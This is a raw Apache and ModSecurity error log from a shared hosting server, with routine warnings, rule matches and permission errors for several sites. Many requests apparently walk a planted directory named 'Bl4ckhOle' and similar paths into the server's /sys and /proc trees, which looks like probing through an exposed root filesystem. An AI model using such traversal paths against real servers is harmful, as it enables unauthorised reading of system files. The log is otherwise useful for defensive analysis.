[Fri Jul 17 08:59:48.606281 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:48.610795 2026] [security2:error] [pid 1993619:tid 1993619] [client 47.82.53.239:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/ioncube_loader.ini"] [unique_id "almhrI1dLClkUfK_dfHlvgAAAAI"]
[Fri Jul 17 08:59:48.907905 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:50.043884 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:50.258014 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:50.347838 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/devices/LNXCPU:02/eject
[Fri Jul 17 08:59:50.448185 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/devices/device:1c/eject
[Fri Jul 17 08:59:50.549204 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:50.651376 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/devices/device:03/eject
[Fri Jul 17 08:59:50.751189 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:51.155183 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:51.194829 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:59124] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:59:51.258547 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:51.259895 2026] [proxy_fcgi:error] [pid 2028246:tid 2028246] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:59:51.387369 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:51.389221 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:59:51.461563 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/devices/device:1a/eject
[Fri Jul 17 08:59:51.502852 2026] [security2:error] [pid 2030804:tid 2030804] [client 83.217.213.120:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/dragon-global": Permission denied [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almhr4e39YUk0SgV8AU7IAAAABE"], referer: https://dragon.lk/store/index.php?route=account/register
[Fri Jul 17 08:59:51.502890 2026] [security2:error] [pid 2030804:tid 2030804] [client 83.217.213.120:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/dragon-ip": Permission denied [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almhr4e39YUk0SgV8AU7IAAAABE"], referer: https://dragon.lk/store/index.php?route=account/register
[Fri Jul 17 08:59:51.560366 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:51.563505 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:59:51.662818 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:51.663207 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/python3-gobject-base/"] [unique_id "almhr-jME1mgqYZ5O94m_gAAAAE"]
[Fri Jul 17 08:59:51.663227 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/python3-gobject-base/"] [unique_id "almhr-jME1mgqYZ5O94m_gAAAAE"]
[Fri Jul 17 08:59:51.751385 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:51.771827 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:52.138298 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:52.199502 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:52.324580 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:52.414000 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:52.429038 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:52.526446 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:52.692450 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 47.82.8.12:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:0c/subsystem/drivers_probe
[Fri Jul 17 08:59:52.736839 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:53.400833 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:53.422666 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:55.003243 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:55.959576 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 47.82.50.0:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/pci0000:00/firmware_node/device:20/subsystem/drivers_probe
[Fri Jul 17 08:59:56.329544 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:56.349719 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:56.366806 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:56.648751 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:56.950567 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:56.952889 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:56.998540 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:57.064564 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:57.666362 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:50810] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:59:58.358336 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:59:59.198335 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 57.141.18.42:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory137/subsystem/devices/memory7/subsystem/devices/memory93/subsystem/uevent
[Fri Jul 17 09:00:00.730805 2026] [ssl:error] [pid 2029866:tid 2029866] (70014)End of file found: [client 66.85.158.91:51010] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:00:00.815034 2026] [security2:error] [pid 2028246:tid 2028246] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almhuDsMb3am0TgkjETblQAAAAo"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:00:00.815094 2026] [security2:error] [pid 2028246:tid 2028246] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almhuDsMb3am0TgkjETblQAAAAo"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:00:01.134985 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:51052] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:00:02.629350 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:33442] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:00:03.544091 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:33492] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:00:03.809245 2026] [security2:error] [pid 2018757:tid 2018757] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almhu0kXT4NBqALj2lZ9mwAAABA"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:00:03.809298 2026] [security2:error] [pid 2018757:tid 2018757] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almhu0kXT4NBqALj2lZ9mwAAABA"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:00:03.868989 2026] [security2:error] [pid 1993668:tid 1993668] [client 83.217.213.120:0] ModSecurity: Rule 55dbd9162368 [id "941160"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "200"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "dragon.lk"] [uri "/store/keyboard-mouse"] [unique_id "almhuxAi3pC6yjXGNq2BMQAAAAU"], referer: https://dragon.lk/store/keyboard-mouse?product_id=142
[Fri Jul 17 09:00:03.871229 2026] [security2:error] [pid 1993668:tid 1993668] [client 83.217.213.120:0] ModSecurity: Warning. Pattern match "\\\\xbc[^\\\\xbe>]*[\\\\xbe>]|<[^\\\\xbe]*\\\\xbe" at ARGS:text. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "547"] [id "941310"] [msg "US-ASCII Malformed Encoding XSS Filter - Attack Detected"] [data "Matched Data: \\xbc\\xd0\\xbf\\xd0\\xb0\\xd0\\xbd\\xd0\\xb8\\xd1\\x8f \\xd0\\xb8\\xd0\\xbc\\xd0\\xb5\\xd0\\xb5\\xd1\\x82 \\xd0\\xb1\\xd0\\xbe found within ARGS:text: \\xd0\\xa2\\xd0\\xb5\\xd0\\xbb\\xd0\\xb5\\xd1\\x84\\xd0\\xbe\\xd0\\xbd  7 (495) 147-44-44 \\xd0\\x9a\\xd0\\xbe\\xd0\\xbc\\xd0\\xbf\\xd0\\xb0\\xd0\\xbd\\xd0\\xb8\\xd1\\x8f \\xd0\\xb8\\xd0\\xbc\\xd0\\xb5\\xd0\\xb5\\xd1\\x82 \\xd0\\xb1\\xd0\\xbe\\xd0\\xbb\\xd1\\x8c\\xd1\\x88\\xd0\\xbe\\xd0\\xb9 \\xd0\\xbe\\xd0\\xbf\\xd1\\x8b\\xd1\\x82 \\xd1\\x80\\xd0\\xb0\\xd0\\xb1\\xd0\\xbe\\xd1\\x82\\xd1\\x8b \\xd0\\xb2 \\xd1\\x81\\xd1\\x84\\xd0\\xb5\\xd1\\x80\\xd0\\x..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-tomcat"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "dragon.lk"] [uri "/store/keyboard-mouse"] [unique_id "almhuxAi3pC6yjXGNq2BMQAAAAU"], referer: https://dragon.lk/store/keyboard-mouse?product_id=142
[Fri Jul 17 09:00:03.872098 2026] [security2:error] [pid 1993668:tid 1993668] [client 83.217.213.120:0] ModSecurity: Rule 55dbd96071e0 [id "942360"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"][line "445"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "dragon.lk"] [uri "/store/keyboard-mouse"] [unique_id "almhuxAi3pC6yjXGNq2BMQAAAAU"], referer: https://dragon.lk/store/keyboard-mouse?product_id=142
[Fri Jul 17 09:00:03.872559 2026] [security2:error] [pid 1993668:tid 1993668] [client 83.217.213.120:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/keyboard-mouse"] [unique_id "almhuxAi3pC6yjXGNq2BMQAAAAU"], referer: https://dragon.lk/store/keyboard-mouse?product_id=142
[Fri Jul 17 09:00:04.142574 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:33520] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:00:04.449384 2026] [security2:error] [pid 1993668:tid 1993668] [client 83.217.213.120:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almhuxAi3pC6yjXGNq2BMQAAAAU"], referer: https://dragon.lk/store/keyboard-mouse?product_id=142
[Fri Jul 17 09:00:04.508077 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:33536] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:00:05.176734 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:33540] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:00:05.599317 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:33566] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:00:05.958758 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:33592] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:00:07.658866 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:33658] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:00:08.401790 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:33680] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:00:08.715605 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:33700] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:00:12.130492 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:13.835513 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:40468] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:00:15.403304 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:15.499337 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/devices/LNXCPU:01/eject
[Fri Jul 17 09:00:15.607395 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/devices/device:1b/eject
[Fri Jul 17 09:00:16.124786 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/devices/device:14/eject
[Fri Jul 17 09:00:16.403406 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/devices/device:12/eject
[Fri Jul 17 09:00:16.496892 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:16.502155 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:00:16.502646 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/share/doc/cpanel-php84-http-request2/examples/upload-rapidshare.php"] [unique_id "almhyI1dLClkUfK_dfHl0AAAAAI"]
[Fri Jul 17 09:00:16.502673 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/thread-self/cwd/usr/share/doc/cpanel-php84-http-request2/examples/upload-rapidshare.php"] [unique_id "almhyI1dLClkUfK_dfHl0AAAAAI"]
[Fri Jul 17 09:00:16.671679 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/devices/device:10/eject
[Fri Jul 17 09:00:16.722978 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/devices/device:20/eject
[Fri Jul 17 09:00:16.783463 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almhyIe39YUk0SgV8AU7KwAAABE"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:00:16.783511 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almhyIe39YUk0SgV8AU7KwAAABE"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:00:17.044398 2026] [core:error] [pid 2029866:tid 2029866] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/devices/device:16/eject
[Fri Jul 17 09:00:17.148000 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/devices/device:18/eject
[Fri Jul 17 09:00:17.247331 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:17.250593 2026] [proxy_fcgi:error] [pid 2018757:tid 2018757] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:00:17.494023 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:17.604660 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:17.608444 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:00:19.109439 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:40654] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:00:20.725052 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:40778] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:00:22.742922 2026] [security2:error] [pid 2013829:tid 2013829] [client 124.43.79.188:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/js/app.js"] [unique_id "almhzg7FYe46zHK_jL3QugAAABk"], referer: https://www.epid.gov.lk/weekly-epidemiological-report
[Fri Jul 17 09:00:22.742964 2026] [security2:error] [pid 2013829:tid 2013829] [client 124.43.79.188:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/js/app.js"] [unique_id "almhzg7FYe46zHK_jL3QugAAABk"], referer: https://www.epid.gov.lk/weekly-epidemiological-report
[Fri Jul 17 09:00:23.976018 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:42204] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:00:24.544845 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:42422] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:00:24.570583 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:42436] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:00:24.834787 2026] [ssl:error] [pid 2029866:tid 2029866] (70014)End of file found: [client 66.85.158.91:42452] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:00:25.586426 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:42500] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:00:28.738882 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:42708] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:00:30.924030 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:42808] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:00:32.994423 2026] [security2:error] [pid 1993671:tid 1993671] [client 205.210.31.69:64650] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91:8443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/"] [unique_id "almh2A5GPQ6hs4VrfMpCewAAAAY"]
